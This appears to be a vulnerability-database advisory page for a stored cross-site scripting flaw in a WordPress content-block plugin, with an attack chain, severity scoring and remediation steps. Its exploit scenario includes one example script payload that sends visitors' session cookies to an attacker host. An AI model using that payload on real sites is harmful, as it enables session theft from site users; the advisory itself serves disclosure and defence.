Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker obtains contributor credentials via phishing or account compromise
-
DeliveryLogs into WordPress dashboard
-
ExploitNavigates to content block editor
-
InstallInjects malicious JavaScript in shortcode content field
-
C2Saves content block
-
ExecutePublishes or updates page using the shortcode
-
ImpactVictim visits affected page
-
Step 8Browser executes injected script with victim's session context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires authenticated WordPress user access with contributor-level permissions or above (PR:L in CVSS vector confirms 'Contributor' or higher role required). The attacker must have ability to create or edit content that contains the 'content_block' shortcode, a capability granted to Contributors and Authors by default in WordPress. Exploitation is NOT limited to default WordPress configurations and does NOT require any special WordPress settings or plugin configuration beyond a standard WordPress installation with the vulnerable Content Blocks plugin active. The vulnerability does NOT affect WordPress sites without the Content Blocks plugin installed or sites where contributor-level users are restricted (e.g., via capability plugins). Scope is cross-site (S:C) because injected scripts execute with full site origin context; however, exploitation is NOT direct network-unauthenticated, requiring prior login. |
| Impact | The CVSS 6.4 score with network attack vector (AV:N), low complexity (AC:L), and low privilege requirement (PR:L) indicates broad accessibility from any network location to users with contributor-level WordPress accounts. The cross-site scope (S:C) elevates risk because injected scripts execute in victim browsers with full site context, potentially stealing session cookies or performing actions as the victim. However, the vulnerability requires prior authenticated access (PR:L excludes completely unauthenticated attack) and relies on stored content rather than reflected input, which slightly mitigates real-world exposure compared to a network-unauthenticated XSS. The lack of active exploitation signals or public POC reduces immediate threat velocity, but the low barrier to entry for contributor-level accounts and the persistence of stored XSS make this a medium-to-high operational priority for sites with guest authors, community submissions, or inherited contributor accounts. Organizations running WordPress must assume some contributor-level users are compromised or malicious; this CVE directly exploits that assumption. |
| Exploit ScenarioDerived | A malicious contributor with author-level access logs into a WordPress site, navigates to the content blocks editor, and injects JavaScript (e.g., <script>fetch('attacker.com/steal?cookie='+document.cookie)</script>) into a custom content block. When site administrators or other users view any page containing the exploited shortcode, the injected script executes in their browsers, potentially exfiltrating session cookies or redirecting them to a phishing site. Because XSS execution depends on user interaction (viewing the page) but not special user action beyond normal site browsing, exploitation is virtually guaranteed once content is published. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 18, 2026
Stored Cross-Site Scripting in Content Blocks (Custom Post Widget) plugin for WordPress affects all versions up to 3.3.9, allowing authenticated contributors and above to inject arbitrary JavaScript via the content_block shortcode that executes in the browsers of all users viewing affected pages. The vulnerability stems from insufficient input sanitization and output escaping; no public exploit code or active exploitation has been identified at the time of analysis, but the low attack complexity and broad scope (cross-site) make this a significant risk for WordPress sites with untrusted contributor accounts.
RemediationAI
Upgrade the Content Blocks (Custom Post Widget) plugin to version 3.4.0 or later, which includes patches for input sanitization and output escaping. Administrators should navigate to the WordPress Plugins dashboard, locate the Content Blocks plugin, and apply the update immediately. For organizations unable to update immediately, restrict the 'contributor' and 'author' WordPress role permissions to prevent creation or editing of content blocks via the 'content_block' shortcode capability (via role editor plugins such as User Role Editor), or temporarily disable the plugin if not actively in use. A secondary mitigation is to audit all existing content blocks created before the patch for injected scripts and remove suspicious shortcodes, though this is labor-intensive for sites with many blocks. Disable the plugin entirely if contributor-level users are untrusted or if custom code review is unavailable.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Content Blocks (Custom Post Widget) plugin extends WordPress functionality through custom shortcodes, specifically the content_block shortcode, which dynamically renders user-supplied content. The underlying weakness (CWE-79: Improper Neutralization of Input During Web Page Generation) indicates the plugin fails to properly sanitize user input before storage (stored XSS vector) or escape output when rendering shortcode content, violating WordPress security best practices via the sanitize_text_field() and wp_kses_post() functions. The CPE identifier cpe:2.3:a:vanderwijk:content_blocks_(custom_post_widget) confirms the affected product is maintained by vanderwijk and distributed through the official WordPress plugin repository.
Know when Content Blocks Custom Post Widget gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Content Blocks (Custom Post Widget) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's content_block shortcode in all versions up to, and including, 3.3.9 due to insufficient input sanitization and output escaping on user supplied values consumed from user-created content blocks. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-23670
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB